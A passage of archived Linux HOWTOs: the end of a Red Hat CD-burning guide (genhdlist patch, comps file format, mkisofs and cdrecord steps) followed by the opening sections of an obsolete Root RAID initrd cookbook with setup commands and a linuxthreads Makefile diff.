  int numTags = sizeof(tags) / sizeof(int);
+ */

  int main(int argc, char ** argv) {
      char buf[300];
***************
*** 26,34 ****
--- 29,39 ----
      struct dirent * ent;
      int fd, rc, isSource;
      Header h;
+     /* not used
      int count, type;
      int i;
      void * ptr;
+     */

      if (argc != 2) {
        fprintf(stderr, "usage: genhdlist <dir>\n");
***************
*** 74,79 ****
--- 79,85 ----

            rc = rpmReadPackageHeader(fd, &h, &isSource, NULL, NULL);

+           if (!rc) {
            headerRemoveEntry(h, RPMTAG_POSTIN);
            headerRemoveEntry(h, RPMTAG_POSTUN);
            headerRemoveEntry(h, RPMTAG_PREIN);
***************
*** 110,115 ****
--- 116,122 ----
            headerWrite(outfd, h, HEADER_MAGIC_YES);
            headerFree(h);
            close(fd);
+           }
        }

        errno = 0;

5.4 The comps file

The comps file defines how the packages are bundled during the installation. In the Red Hat distribution, this is done according to the functionality they provide, for example:

  • Printer Support
  • X Window System
  • GNOME
  • KDE
  • Mail/WWW/News Tools
  • ...
  • Kernel Development
  • Extra Documentation

Sometime during the installation process, the user is presented with a dialog called "Components to install". Some of the components have been preselected, and others not. The last item on the components list is called "Everything". According to the Red Hat documentation, selecting every package will require close to 1 Gb of free disk space.

On the dialog box, there also is an option that enables the user to customize exactly what packages will be installed. Customizing the installation by hand, or selecting "Everything" in the components list is the only way to have your own packages installed unless you modify the RedHat/base/comps file.

Format of comps file in RedHat versions < 6.1

The format of the comps file currently starts with a header describing the version of the comps format, followed by an empty line.

0.1
<empty line>

After this, the components are listed, separated by empty lines:

<component 1>
<empty line>
<component 2>
<empty line>
.
.
<component n>
<empty line>
EOF

Each component has the following definition:

(0|1) (--hide)? <name>
<RPM 1>
<RPM 2>
...
<RPM n>
end

Before the name of each component, 0 or 1 is given. A value of 1 here means that the component is chosen by default, and 0 means it's not. The option "--hide" means that you will not see the entry, unless you choose "expert" installation. The first component is called "Base", and that is special, in the sense that it must be present and it does not show up in the dialog (you can't deselect the base installation, which makes sense...)

Next follows a list of rpm packages belonging to that component. Note that this is the package name stored in the rpm file, and not any part of the file name of the package (although it is often the same).

By adding your packages to the comps file, you can customize your own distribution, and make sure that your packages will be installed by default. One thing to be careful about is interdependence among your packages, but here, you are on your own :-) A word of warning: be careful not to add or remove extra whitespace in the file. Examine the existing comps file (make a copy of the original) to see how it's done (or check i386/misc/src/install/pkgs.c if you want to see how the file is parsed).

Format of comps file in RedHat version 6.1

With RedHat version 6.1, the format of the comps file has changed. We have not yet disected it to discover the file format. With the above information, however, it should be easy enough to do it yourself. The decoding takes place in ${RHROOT}/${ARCH}/misc/src/anaconda/comps.py.


Burning a RedHat CD HOWTO: At last: burning the CD

 Next Previous Contents

6. At last: burning the CD

As we assume that you have a working CD-writer on your system, and you know how to use it, we wont go into much detail about burning the CD. If you are burning your CD on a Linux system, you can install the excellent XCDroast package. In XCDRoast, switch on the Rock Ridge extensions, and the creation of a TRANS.TBL file.

Make sure the top directory of the CD contains at least the following files and directories:

COPYING      RPM-PGP-KEY README       RedHat/

The following directories might come in handy:

doc/         gnome/      misc/        dosutils/    images/

6.1 Creating a bootable CD

Since XCDroast doesn't support creation of bootable disks you'll need to use other tools, for example mkisofs ( RPMs). and cdrecord. ( RPMs). You'll need to create an image file which will be written to the CD. This file will be 500Mb or more so find a partition with enough free space and change the path for redhat.img in the following commands if necessary. You may need to be root to use mount and cdrecord.

Create iso9660 disk image

Change directory to the place in your mirror that will be the root directory of the cd. For instance, redhat-6.1/i386.

mkisofs -v -r -T -J -V "Red Hat 6.1" -b images/boot.img -c boot.catalog -o /tmp/redhat.img .

The file ${RHROOT}/boot.catalog will be created by mkisofs.

Some versions of mkisofs do not have a -J option. It can be omitted since the Joliet extensions it specifies are not used by the installer although they make the CD more readable in Windows.

Test the image

If you're paranoid you can test your new disk image by mounting it. If you forgot to fix the file permissions or set the rock ridge extensions then the error will be obvious here since the file names and directory structure will be wrong.

mount -t iso9660 -o ro,loop=/dev/loop0 /tmp/redhat.img /mnt/cdrom

When you're done, don't forget to unmount it.

umount /mnt/cdrom

Burn the disk

Be sure to set the correct speed for your device. This command is for a 4X CDR. You may have a 1X or 2X drive.

cdrecord -v speed=4 dev=0,3 /tmp/redhat.img

In the above command, it is assumed that the CD writer is on SCSI bus 0, with ID number 3.


Burning a RedHat CD HOWTO: Installing from the CD

 Next Previous Contents

7. Installing from the CD

When installing from the new CD, you may first need to create a bootable installation diskette. IMPORTANT: use a NEW, freshly MS-DOS formatted diskette! Using an old, worn-out, faulty diskette can result in strange problems during the installation!

On a Linux system, you can create the diskette using the dd command:

dd if=/mnt/cdrom/images/boot.img of=/dev/fd0 bs=1440k

On a system running DOS or Windows-9x, you need to use the RAWRITE.EXE program, which is found on the CD in the dosutils directory.

Shut down the machine you want to install (or do a system upgrade) on, insert the boot diskette and your freshly burned CD, and let the machine boot from the diskette. For more information on the installation process, se the documents and the Installation-HOWTO or the Bootdisk-HOWTO which are on the CD in the doc/HOWTO directory.

7.1 Booting from a bootable CD

Most modern machines are able to boot directly from a CD, provided it is made bootable with the procedure outlined in section Creating a bootable CD. Often, however, you need to change the setting of the BIOS to make the CD drive bootable. See the documentation for your mother board to see how it's done.


Burning a RedHat CD HOWTO: Other Linux distributions

 Next Previous Contents

8. Other Linux distributions

The information in this document also applies to other Linux distributions that are RedHat clones, such as Mandrake, although we have not actually tried them ourself. The Mandrake distributions uses a simpler hdgenlist program (it's a shell script), and other details may be different.

The LinuxPPC distribution for Apple PowerMacs and other PowerPPC machines is also somewhat similar to the RedHat distribution. When making a distribution for the PowerMac platform, you need to use mkhybrid) instead of mkisofs. We have not tried it, but we'd like to hear from people who have.


Burning a RedHat CD HOWTO: This document...

 Next Previous Contents

9. This document...

The SGML source of the most recent version of this document can be retrieved from http://imsb.au.dk/~mok/linux/doc/RedHat-CD.sgml ( HTML version).

You can link to the RedHat-CD mini HOWTO by making the following reference on your home page:

<a href="http://imsb.au.dk/~mok/linux/doc/RedHat-CD.html">
<img src="http://imsb.au.dk/~mok/logos/RedHat-CD.png" alt="RedHat CD mini-howto" height=30 nosave border=0>
</a>

9.1 Related documentation

Ed Schlunder <zilym@asu.edu> has written a utility called fix-rhcd to let you check your Red Hat Linux distribution mirror for matching file sizes, names, permissions, and symlinks against an "ls -lNR" listing from the offical Red Hat ftp site. Any permissions that are wrong are changed to match the ls listing. See the fix-rhcd homepage.

Rod Smith <smithrod@bellatlantic.net> has written a Do-It-Yourself Red Hat Installation guide, which also includes information on creating RedHat install CD's. Especially aimed at burning a CD from a non-UNIX system. Find it at http://members.bellatlantic.net/~smithrod/rhjol.html.

A document in french ``Comment graver un CD de la RedHat 5.x a partir de fichiers telecharges sur Internet...'' by <skooter@hol.fr> is available from http://linuxfr.org/docs/article/gravure-CD-RH51.html.

With the sense of the good things in life Jussi Torhonen from Finland <jussi.torhonen@tietosavo.fi> tells us Howto make a homebrew bootable RedHat Linux 5.2 CD-ROM.

>From the LDP project, see the CD-writing HOWTO.

9.2 Acknowledgements

Apart from those mentioned above, thanks are given to the following people for valuable input, feedback and discussions:

  • Lars Christensen <larsch@cs.auc.dk>
  • Thomas Duffy <tbd@cs.brown.edu>
  • Dawn Endico <dawn@math.wayne.edu>
  • Seva <seva@null.cc.uic.edu>
  • Michael Thomas Cope <mcope@orion.ac.hmc.edu>
  • Charles J. Fisher <charles_fisher@bigfoot.com>
  • Eric Thomas <eric.thomas@ericsson.com>
  • Gordon Yuen <gdccyuen@yahoo.com>


Burning a RedHat CD HOWTO: DISCLAIMER

 Next Previous Contents

10. DISCLAIMER

While the given information in this document is believed to be correct, the authors assume no responsibility whatsoever for any damage to hardware and/or software, or any loss of data resulting from the procedures outlined in this document.


Root RAID HOWTO cookbook

Michael A. Robinton, michael@bzs.org

v1.13, July 17, 2000

This document only applys to the OLD raidtools, versions 0.50 and under. The workarounds and solutions addressed in this write up have largely been made obsolete by the vast improvment in the 0.90 raidtools and accompanying kernel patch to the 2.0.37, 2.2x and 2.3x series kernels. You may find the detailed descriptions useful, particularly if you plan to run root raid or use initrd. Check these links for a reference to set up of Boot Root Raid using conventional LILO and accompanying initrd working scripts. What follows is the description of the now OBSOLETE Root RAID HOWTO. This document was originally written to provide a cookbook for creating a root mounted raid filesystem and companion fallback rescue system using linux initrd. There are complete step-by-step instruction for both raid1 and raid5 md0 devices. Each step is accompanied by an explanation of it's purpose. Included with this revision is a generic linuxrc initrd file which may be configured with a single three line /etc/raidboot.conf file for raid1 and raid5 configurations.

1. Introduction

  • 1.1 Where to get Up-to-date copies of this document.
  • 1.2 More up-to-date Boot Root Raid with LILO howto
  • 1.3 Bugs
  • 1.4 Acknowledgements
  • 1.5 Copyright Notice

2. What you need BEFORE YOU START

  • 2.1 Required Packages
  • 2.2 Other similar implementations.
  • 2.3 Documentation -- Recommended Reading
  • 2.4 RAID resources

3. Quick Start for ROOT RAID

4. initrd Cookbook for root mounted RAID

  • 4.1 Security Reminder
  • 4.2 Build the Kernel and Raid Tools
  • 4.3 Build the initrd Rescue and Boot filesystem
  • 4.4 Start the STEP by STEP instructions
  • 4.5 Install the distribution - Slackware Specific
  • 4.6 Install linux pthreads
  • 4.7 Install Raid Tools
  • 4.8 Remove un-needed directories and files from new filesystem.
  • 4.9 Create /dev/mdx
  • 4.10 Create a bare filesystem suitable for initrd
  • 4.11 Making 'initrd' boot the RAID device - linuxrc
  • 4.12 Modifying the rc-scripts for SHUTDOWN
  • 4.13 Configuring RAIDBOOT - raidboot.conf
  • 4.14 Kernel 'loadlin and lilo' variables for RESCUE and RAID

5. Configuring the Production RAID system.

  • 5.1 System specs.
  • 5.2 Partitioning the hard drives.

6. Building the RAID file system.

  • 6.1 /etc/raid5.conf
  • 6.2 /etc/raid1.conf
  • 6.3 Step by Step procedures for building production RAID file system.

7. One last thought.

8. Appendix A. - Bohumil Chalupa's md0 shutdown

9. Appendix B. - Sample SHUTDOWN scripts

  • 9.1 Slackware - /etc/rc.d/rc.6
  • 9.2 Debian bo - /etc/init.d/halt and /etc/init.d/reboot

10. Appendix C. - other setup files

  • 10.1 linuxrc
  • 10.2 loadlin -- linux.bat file - boot.par
  • 10.3 linuxthreads Makefile.diff
  • 10.4 raid1.conf
  • 10.5 raid5.conf
  • 10.6 raidboot.conf
  • 10.7 rc.raidown

11. Appendix D. - obsolete linuxrc and shutdown scripts

  • 11.1 Obsolete working - linuxrc
  • 11.2 Obsolete working - shutdown scripts

12. Appendix E. - Gadi's raid stop patch for the linux kernel

13. Appendix F. - rc.raidown

14. Appendix G. - linuxrc theory of operation

15. Appendix H. Setting up ROOT RAID on RedHat


Root RAID HOWTO cookbook: Introduction

 Next Previous Contents

1. Introduction

The reader is assumed to be familiar with the various types of raid implementations, their advantages and drawbacks. This is not a tutorial, just a set of instructions on how to implement root mounted raid on a linux system. All of the information necessary to become familiar with linux raid is listed here directly or by reference, please read it before send e-mail questions.

1.1 Where to get Up-to-date copies of this document.

Click here to browse the author's latest version of this document. Corrections and suggestions welcome!

Root-RAID-HOWTO -- OBSOLETE

Available in LaTeX (for DVI and PostScript), plain text, and HTML.

http://www.linuxdoc.org/HOWTO/Root-RAID-HOWTO.html
Available in SGML and HTML.
ftp.bizsystems.net/pub/raid/

1.2 More up-to-date Boot Root Raid with LILO howto

Available in LaTeX (for DVI and PostScript), plain text, and HTML.

http://www.linuxdoc.org/HOWTO/Boot+Root+Raid+LILO.html
Available in SGML and HTML.
ftp.bizsystems.net/pub/raid/

1.3 Bugs

As of this writing, the problem of stopping a root mounted RAID device has not yet been solved in a satisfactory way. A work-around proposed by Ed Welbon and implemented by Bohumil Chalupa is incorporated into this document which eliminates the need for a long ckraid at each boot for raid1 and raid5 devices. Without the workaround, it is necessary to ckraid the md device each time the system is re-booted. On a large array this can cause a severe availability performance degradation. On my 6 gig RAID1 device running on a Pentium 166 with 128 megs of ram, it takes well over half an hour to ckraid :-( after each re-boot. It takes over an hour on my 13 gig RAID5 array with a 20mb/sec scsi adaptor.

The workaround stores the status of the array at shutdown on the real boot device and compares it to a reference status placed there when the system is first built. If the status's match at reboot, the superblock on the array is rebuilt on the next boot, otherwise the operator is notified of the status error and the rescue system is left running with all the raid tools available.

Rebuilding the superblock causes the system to ignore that the array was powered down without mdstop by marking all the drives as OK, as if nothing happened. This only works if all the drives are OK at shutdown. If the array was operating with a bad drive, the operator must remove the bad drive prior to restarting the md device or the data can be corrupted.

None of this applies to raid0 which does not have to be mdstopped before shutdown.

Final proposed solutions to this problem include a finalrd similar to initrd, and mdrootstop which writes the clean flags to the array during shutdown when it is mounted read only. I am sure there are others.

In the mean time, the problem has been by-passed for now Please let me know when this problem is solved more cleanly!!!

1.4 Acknowledgements

The writings and e-mail from the following individuals helped to make this document possible. Many of the ideas were stolen from the helpful work of others, I have just tried to put it all in COOKBOOK form so that it is straightforward to use. My thanks to:

  • Linas Vepstas for the RAID howto that explained most of this to me.
  • Gadi Oxman for answering my dumb 'newbie' questions.
  • Ed Welbon for the execellent initrd.md package that inspired me to write this.
  • Bohumil Chalupa for implementing the re-boot 'workaround' that allows root-mounted-raid to work in a production environment.
  • Keith W. for his explaination of setting up root raid with RedHat.

  • and many others who contributed to this work in one way or another.

1.5 Copyright Notice

This document is GNU copyleft by Michael Robinton michael@bzs.org.

Permission to use, copy, distribute this document for any purpose is hereby granted, provided that the author's / editor's name and this notice appear in all copies and/or supporting documents; and that an unmodified version of this document is made freely available. This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY, either expressed or implied. While every effort has been taken to ensure the accuracy of the information documented herein, the author / editor / maintainer assumes NO RESPONSIBILITY for any errors, or for any damages, direct or consequential, as a result of the use of the information documented herein.


Root RAID HOWTO cookbook: What you need BEFORE YOU START

 Next Previous Contents

2. What you need BEFORE YOU START

The packages you need and the documentation that answers the most common questions about setting up and running raid are listed below. Please review them throughly.

2.1 Required Packages

You need to obtain the most recent versions of these packages.

  • a linux kernel that supports raid, initrd and /dev/loopx
    I used linux-2.0.33 from sunsite
  • raid145-971022-2.0.31 patch adds support for raid1/4/5
  • raidtools-pre3-0.42 tools to create and maintain raid devices (documentation too).
  • Gadi's raid stop patch in Appendix E.
  • linuxthreads-0.71 required threads package. Use ftp, browser doesn't work ftp.inria.fr/INRIA/Projects/cristal/Xavier.Leroy
  • A Linux distribution, ready to install.
    I used Slackware-3.4
Helpful but not required
  • raidboot-0.01.tar.gz pre-built raid rescue/boot system.

The detailed instructions in this document are based on the above packages. If the packages have been updated or you use a different linux distribution, you may have to modify the procedures you find here.

The patches, tool assortment, etc... may vary with 2.1 kernels. Please check the most recent documentation at:

ftp.kernel.org/pub/linux/daemons/raid/

2.2 Other similar implementations.

I chose to include in the kernel all of the pieces necessary to run from boot without loading any modules. My kernel image is a little over 300k compressed.

Take a look at Ed Welbon's initrd.md.tar.gz for another way to make a bootable raid device. He uses loadable modules. A look at his concise scripts will show you how it is done if you need a very small kernel with modules.

http://www.realtime.net/~welbon/initrd.md.tar.gz

2.3 Documentation -- Recommended Reading

Please read:

/usr/src/linux/Documentation/initrd.txt

as well as the documentation and man pages that accompany the raidtools set. In particular, read man mdadd as well as the QuickStart.RAID document included in the raidtools package.

You may also wish to review:

  • BootPrompt-HOWTO
  • man lilo
  • man lilo.conf

2.4 RAID resources

  • www.linas.org/linux/Software-RAID/Software-RAID.html
  • www.ssc.com/lg/issue17/raid.html
  • linas.org/linux/raid.html
  • ftp.kernel.org/pub/linux/daemons/raid/
  • www.realtime.net/~welbon/initrd.md.tar.gz
  • luthien.nuclecu.unam.mx/~miguel/raid/
Mailing lists can be joined at:
  • majordomo@nuclecu.unam.mx send a message to subscribe raiddev

    send mail to: raiddev@nuclecu.unam.mx

  • majordomo@vger.rutgers.edu send a message to subscribe linux-raid

    send mail to: linux-raid@vger.rutgers.edu (this seems to be the most active list)


Root RAID HOWTO cookbook: Quick Start for ROOT RAID

 Next Previous Contents

3. Quick Start for ROOT RAID

If you use RedHat, see the Howto set up RedHat section in Appendix H. I have not tried this. If you use it successfully, please let me know so I can update this document.

If you don't want to try and build and debug the rescue system, you can get a generic one created from Slackware-3.4 from:

ftp.bizsystems.com/pub/raid/raidboot-0.01.tar.gz
Perform the following steps:
  • Compile the raid enabled kernel with built in support for your disk subsystem
  • Test that the raid array will configure and mount correctly
  • Build your OS on the raid system
  • Correct the entries in fstab to show /dev/md0 as the root device. Make sure that the partition(s) you use for booting are included in fstab.
  • Modify your shutdown halt and reboot script(s) (mine is /etc/rc.d/rc.6) as shown in Modifying the rc-scripts for SHUTDOWN
  • Copy the following from you development filesystem to the rescue system AND the new raid system
            cd /root/raidboot
        mkdir mnt
        gzip -d rescue.clean
        losetup /dev/loop0  rescue.clean
        mount /dev/loop0    mnt

copy these files

        cp -p /etc/*         mnt/etc
        cp -p /etc/rc.d/*    mnt/etc/rc.d
                {or as appropriate for your system}
        cp -a /lib/modules/* mnt/lib/modules
    Some Linux distributions include a test for the ro/rw status of the root file system. The rc startup files need to have this test removed for the initrd rescue system. See the instructions in the section on Correctons for Rescue System.
Correct the entries in fstab to show /dev/md0 as the root device. Make sure that the partition(s) you use for booting is included in fstab.

Create /etc/raidboot.conf which describes the raid boot configuration. This file may NOT contain comments in the first three lines, after that it doesn't matter.

raidboot.conf

        /dev/sda1 /dev/sda2
        raidboot
        raid5.conf
# comments may only be placed 'after' the three
# configuration lines.
#
# This is '/etc/raidboot.conf'
#
# line one, the partition(s) containing the 'initrd' raid-rescue system
#       It is not necessary to boot from these partitions, however,
#       since the rescue system will not fit on floppy, it is necessary
#       to know which partitions are to be used to load the rescue system
#
# line two, the path to the raidboot config information
#       Where the shutdown status, etc... is located at boot time
#       It does NOT include the mount point information, only 'path'
#       /mntpoint/'path'
#
# line -3-, name of the raid configuration file
#       Current raid configuration file i.e. raid1.conf, raid5.conf
A few more things to do and the raid systems is ready to boot.

Create rc.raidown, as described in Appendix F, and copy it to /etc/rc.d on the rescue, development, and raid system. Unmount the rescue system and zip it.

        umount mnt
        losetup -d /dev/loop0
        mv rescue.clean rescue
        gzip rescue
Copy the rescue file to the raidboot partitions.
        cp rescue.gz /mnt_point(1)/raidboot
        cp rescue.gz /mnt_point(2)/raidboot
Activate the raid array.
        mdadd -ar
Save the good reference status to the raidboot partition
        cat /proc/mdstat | grep md0 > /mnt_point(1)/raidboot/raidgood.ref
        cat /proc/mdstat | grep md0 > /mnt_point(1)/raidboot/raidgood.ref
Lastly, configure the boot program as outlined in Boot Time Configuration Parameters and reboot your system onto the raid array.


Root RAID HOWTO cookbook: initrd Cookbook for root mounted RAID

 Next Previous Contents

4. initrd Cookbook for root mounted RAID

This is the procedure to make an 'initrd' ramdisk with rescue tools for raid.

Specifically, this document referrs to RAID1 and RAID5 implementations.

4.1 Security Reminder

The rescue file system may be used stand alone. Should your raid array fail to mount, you are left with the rescue system mounted and running. TAKE THE APPROPRIATE SECURITY PRECAUTIONS!!!

4.2 Build the Kernel and Raid Tools

The first thing that must be done is to patch and build your kernel and become familiar with the raid tools. Make sure and include Gadi's raid stop patch in Appendix E. Configure, mount and test your raid device(s). The details of how to do this are included in the raidtools package and briefly reviewed later in this document.

4.3 Build the initrd Rescue and Boot filesystem

I used the Slackware-3.4 distribution to build both the Rescue/Boot filesystem and the filesystem for the production machine. Any linux distribution should work fine. If you use a different distribution, review the Slackware specific portion of this procedure and modify it to suit your needs.

I use loadlin to boot the kernel image and ramdisk from a dos partition simply because there are oddball devices in my system that have dos configuration software. Lilo will work just as well and a small linux partition can be used instead containing only the raid/boot files and the lilo record.

For the raid boot/rescue system, I chose to create a minimum ramdisk system using the Slackware 'setup' script followed by installing the 'linuxthreads' package and 'raidtools' over the clean Slackware installation on my ramdisk. I used the identical procedure to build the production system. So the rescue and production systems are very similar.

This installation process gives me a 'bare' system (save a copy of the file) to which I overlay

        /lib/modules/2.x.x......
        /etc .... with a modified fstab, mdtab, raidX.conf, raidboot.conf
        /etc/rc.d
        /dev/md*

from my current system to customize it for the particular kernel and machine that it is/will-be running on.

This makes the boot/rescue system the same system that is running on the root mounted raid device, just skinnyed down a bit, while allowing the library, etc... revisions to always be current.

4.4 Start the STEP by STEP instructions

From the root home directory (/root):

        cd /root
        mkdir raidboot
        cd raidboot

Create a mountpoints to work on

        mkdir mnt
        mkdir mnt2

Make a file large enough to do the file system install. This will be a lot larger than the final rescue file system. I chose 24 megs since 16 megs is not large enough

        dd if=/dev/zero of=build bs=1024k count=24
associate the file with a loop device and generate an ext2 file system on the file

        losetup /dev/loop0 build
        mke2fs -v -m0 -L initrd /dev/loop0
        mount /dev/loop0 mnt

4.5 Install the distribution - Slackware Specific

...skip Slackware Specific stuff and go to next section.

Now that an empty filesystem is created and mounted, run "setup".

Specify         /root/raidboot/mnt

as the 'target'. The source is whatever you normally install from. Select the packages you wish to install and proceed but DO NOT configure.

Choose 'EXPERT' prompting mode.

I chose 'A', 'AP, and 'N' installing only the minimum to run the system plus an editor I am familiar with (vi, jed, joe) that is reasonably compact.

lqqqqqqqq SELECTING PACKAGES FROM SERIES A (BASE LINUX SYSTEM) qqqqqqqqk
x lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk x
x x   [X] aaa_base  Basic filesystem, shell, and utils - REQUIRED    x x
x x   [X] bash      GNU bash-1.14.7 shell - REQUIRED                 x x
x x   [X] devs      Device files found in /dev - REQUIRED            x x
x x   [X] etc       System config files & utilities - REQUIRED       x x
x x   [X] shadow    Shadow password suite - REQUIRED                 x x
x x   [ ] ide       Linux 2.0.30 no SCSI (YOU NEED 1 KERNEL)         x x
x x   [ ] scsi      Linux 2.0.30 with SCSI (YOU NEED 1 KERNEL)       x x
x x   [ ] modules   Modular Linux device drivers                     x x
x x   [ ] scsimods  Loadable SCSI device drivers                     x x
x x   [X] hdsetup   Slackware setup scripts - REQUIRED               x x
x x   [ ] lilo      Boots Linux (not UMSDOS), DOS, OS/2, etc.        x x
x x   [ ] bsdlpr    BSD lpr - printer spooling system                x x
x x   [ ] loadlin   Boots Linux (UMSDOS too!) from MS-DOS            x x
x x   [ ] pnp       Plug'n'Play configuration tool                   x x
x x   [ ] umsprogs  Utilities needed to use the UMSDOS filesystem    x x
x x   [X] sysvinit  System V-like INIT programs - REQUIRED           x x
x x   [X] bin       GNU fileutils 3.12, elvis, etc. - REQUIRED       x x
x x   [X] ldso      Dynamic linker/loader - REQUIRED                 x x
x x   [ ] ibcs2     Runs SCO/SysVr4 binaries                         x x
x x   [X] less      A text pager utility - REQUIRED                  x x
x x   [ ] pcmcia    PCMCIA card services support                     x x
x x   [ ] getty     Getty_ps 2.0.7e - OPTIONAL                       x x
x x   [X] gzip      The GNU zip compression - REQUIRED               x x
x x   [X] ps        Displays process info - REQUIRED                 x x
x x   [X] aoutlibs  a.out shared libs - RECOMMENDED                  x x
x x   [X] elflibs   The ELF shared C libraries - REQUIRED            x x
x x   [X] util      Util-linux utilities - REQUIRED                  x x
x x   [ ] minicom   Serial transfer and modem comm package           x x
x x   [ ] cpio      The GNU cpio backup/archiving utility            x x
x x   [X] e2fsbn    Utilities for the ext2 file system               x x
x x   [X] find      GNU findutils 4.1                                x x
x x   [X] grep      GNU grep 2.0                                     x x
x x   [ ] kbd       Change keyboard mappings                         x x
x x   [X] gpm       Cut and paste text with your mouse               x x
x x   [X] sh_utils  GNU sh-utils 1.16 - REQUIRED                     x x
x x   [X] sysklogd  Logs system and kernel messages                  x x
x x   [X] tar       GNU tar 1.12 - REQUIRED                          x x
x x   [ ] tcsh      Extended C shell version 6.07                    x x
x x   [X] txtutils  GNU textutils-1.22 - REQUIRED                    x x
x x   [ ] zoneinfo  Configures your time zone                        x x
x mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj x
From the 'AP series, I use only 'JOE', and editor I like, and 'MC' a small and useful file management tool. You choose the utilities you will need on your system.
lqqqqqqqqq SELECTING PACKAGES FROM SERIES AP (APPLICATIONS) qqqqqqqqqk
x x     [ ] ispell    The International version of ispell          x x
x x     [ ] jove      Jonathan's Own Version of Emacs text editor  x x
x x     [ ] manpgs    More man pages (online documentation)        x x
x x     [ ] diff      GNU diffutils                                x x
x x     [ ] sudo      Allow special users limited root access      x x
x x     [ ] ghostscr  GNU Ghostscript version 3.33                 x x
x x     [ ] gsfonts1  Ghostscript fonts (part one)                 x x
x x     [ ] gsfonts2  Ghostscript fonts (part two)                 x x
x x     [ ] gsfonts3  Ghostscript fonts (part three)               x x
x x     [ ] jed       JED programmer's editor                      x x
x x     [X] joe       joe text editor, version 2.8                 x x
x x     [ ] jpeg      JPEG image compression utilities             x x
x x     [ ] bc        GNU bc - arbitrary precision math language   x x
x x     [ ] workbone  a text-based audio CD player                 x x
x x     [X] mc        The Midnight Commander file manager          x x
x x     [ ] mt_st     mt ported from BSD - controls tape drive     x x
x x     [ ] groff     GNU troff document formatting system         x x
x x     [ ] quota     User disk quota utilities                    x x
x x     [ ] sc        The 'sc' spreadsheet                         x x
x x     [ ] texinfo   GNU texinfo documentation system             x x
x x     [ ] vim       Improved vi clone                            x x
x x     [ ] ash       A small /bin/sh type shell - 62K             x x
x x     [ ] zsh       Zsh - a custom *nix shell                    x x
x mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj x
From the 'N' package I only loaded TCPIP. This isn't really necessary, but is very handy and allows access to the network while working on a repair or update with the root raid array dismounted. TCPIP also contains 'biff' which is used by some of the applications in 'A'. If you don't install 'N' you might want to install the biff package anyway.
lqqqq SELECTING PACKAGES FROM SERIES N (NETWORK/NEWS/MAIL/UUCP) qqqqqk
x lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk x
x x    [ ] apache    Apache WWW (HTTP) server                      x x
x x    [ ] procmail  Mail delivery/filtering utility               x x
x x    [ ] dip       Handles SLIP/CSLIP connections                x x
x x    [ ] ppp       Point-to-point protocol                       x x
x x    [ ] mailx     The mailx mailer                              x x
x x    [X] tcpip     TCP/IP networking programs                    x x
x x    [ ] bind      Berkeley Internet Name Domain server          x x
x x    [ ] rdist     Remote file distribution utility              x x
x x    [ ] lynx      Text-based World Wide Web browser             x x
x x    [ ] uucp      Taylor UUCP 1.06.1 with HDB && Taylor configs x x
x x    [ ] elm       Menu-driven user mail program                 x x
x x    [ ] pine      Pine menu-driven mail program                 x x
x x    [ ] sendmail  The sendmail mail transport agent             x x
x x    [ ] metamail  Metamail multimedia mail extensions           x x
x x    [ ] smailcfg  Extra configuration files for sendmail        x x
x x    [ ] cnews     Spools and transmits Usenet news              x x
x x    [ ] inn       InterNetNews news transport system            x x
x x    [ ] tin       The 'tin' news reader (local or NNTP)         x x
x x    [ ] trn       'trn' for /var/spool/news                     x x
x x    [ ] trn-nntp  'trn' for NNTP (install 1 'trn' maximum)      x x
x x    [ ] nn-spool  'nn' for /var/spool/news                      x x
x x    [ ] nn-nntp   'nn' for NNTP (install 1 'nn' maximum)        x x
x x    [ ] netpipes  Network pipe utilities                        x x
x mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj x
With the installation complete, say no to everything else (no to all configuration requests) and exit the script.

4.6 Install linux pthreads

Now you must install the 'linuxthreads-0.71' library. I have included this diff for the linuxthreads Makefile rather than explain the details of the installation by hand. Save the original Makefile, apply the diff and then:

        cd /usr/src/linuxthreads-0.71
  patch
        make
        make install

-------------------diff Makefile.old  Makefile.raid-----------------
2a3,13
> # If you are building "linuxthreads" for installation on a mount
> # point which is not the "root" partition, redefine 'BUILDIR' to
> # the mount point to use as the "root" directory
> # You may wish to do this if you are building an 'initial ram disk'
> # such as used with bootable root raid devices.
> # REQUIRES ldconfig version 1.9.5 or better
> # do ldconfig -v to check
> #
> BUILDIR=/root/raidboot/mnt
> #BUILDIR=
>
81,82c92,93
<       install pthread.h $(INCLUDEDIR)/pthread.h
<       install semaphore.h $(INCLUDEDIR)/semaphore.h
---
>       install pthread.h $(BUILDIR)$(INCLUDEDIR)/pthread.h
>       install semaphore.h $(BUILDIR)$(INCLUDEDIR)/semaphore.h
84c95
<       test -f /usr/include/sched.h || install sched.h $(INCLUDEDIR)/sched.h
---
>       test -f $(BUILDIR)/usr/include/sched.h || install sched.h $(BUILDIR)$(INCLUDEDIR)/sched.h
86,89c97,103
<       install $(LIB) $(LIBDIR)/$(LIB)
<       install $(SHLIB) $(SHAREDLIBDIR)/$(SHLIB)
<       rm -f $(LIBDIR)/$(SHLIB0)
<       ln -s $(SHAREDLIBDIR)/$(SHLIB) $(LIBDIR)/$(SHLIB0)
---
>       install $(LIB) $(BUILDIR)$(LIBDIR)/$(LIB)
>       install $(SHLIB) $(BUILDIR)$(SHAREDLIBDIR)/$(SHLIB)
>       rm -f $(BUILDIR)$(LIBDIR)/$(SHLIB0)
>       ln -s $(SHAREDLIBDIR)/$(SHLIB) $(BUILDIR)$(LIBDIR)/$(SHLIB0)
> ifneq ($(BUILDIR),)
>       ldconfig -r ${BUILDIR} -n $(SHAREDLIBDIR)
> else
91c105,106
<       cd man; $(MAKE) MANDIR=$(MANDIR) install
---
> endif
>       cd man; $(MAKE) MANDIR=$(BUILDIR)$(MANDIR) install

4.7 Install Raid Tools

The next step is the installation of the raid tools. raidtools-0.42

You must run the "configure" script to point the Makefile at the build directory for the ramdisk files

  cd /usr/src/raidtools-0.42
  configure --sbindir=/root/raidboot/mnt/sbin --prefix=/root/raidboot/mnt/usr
  make
  make install
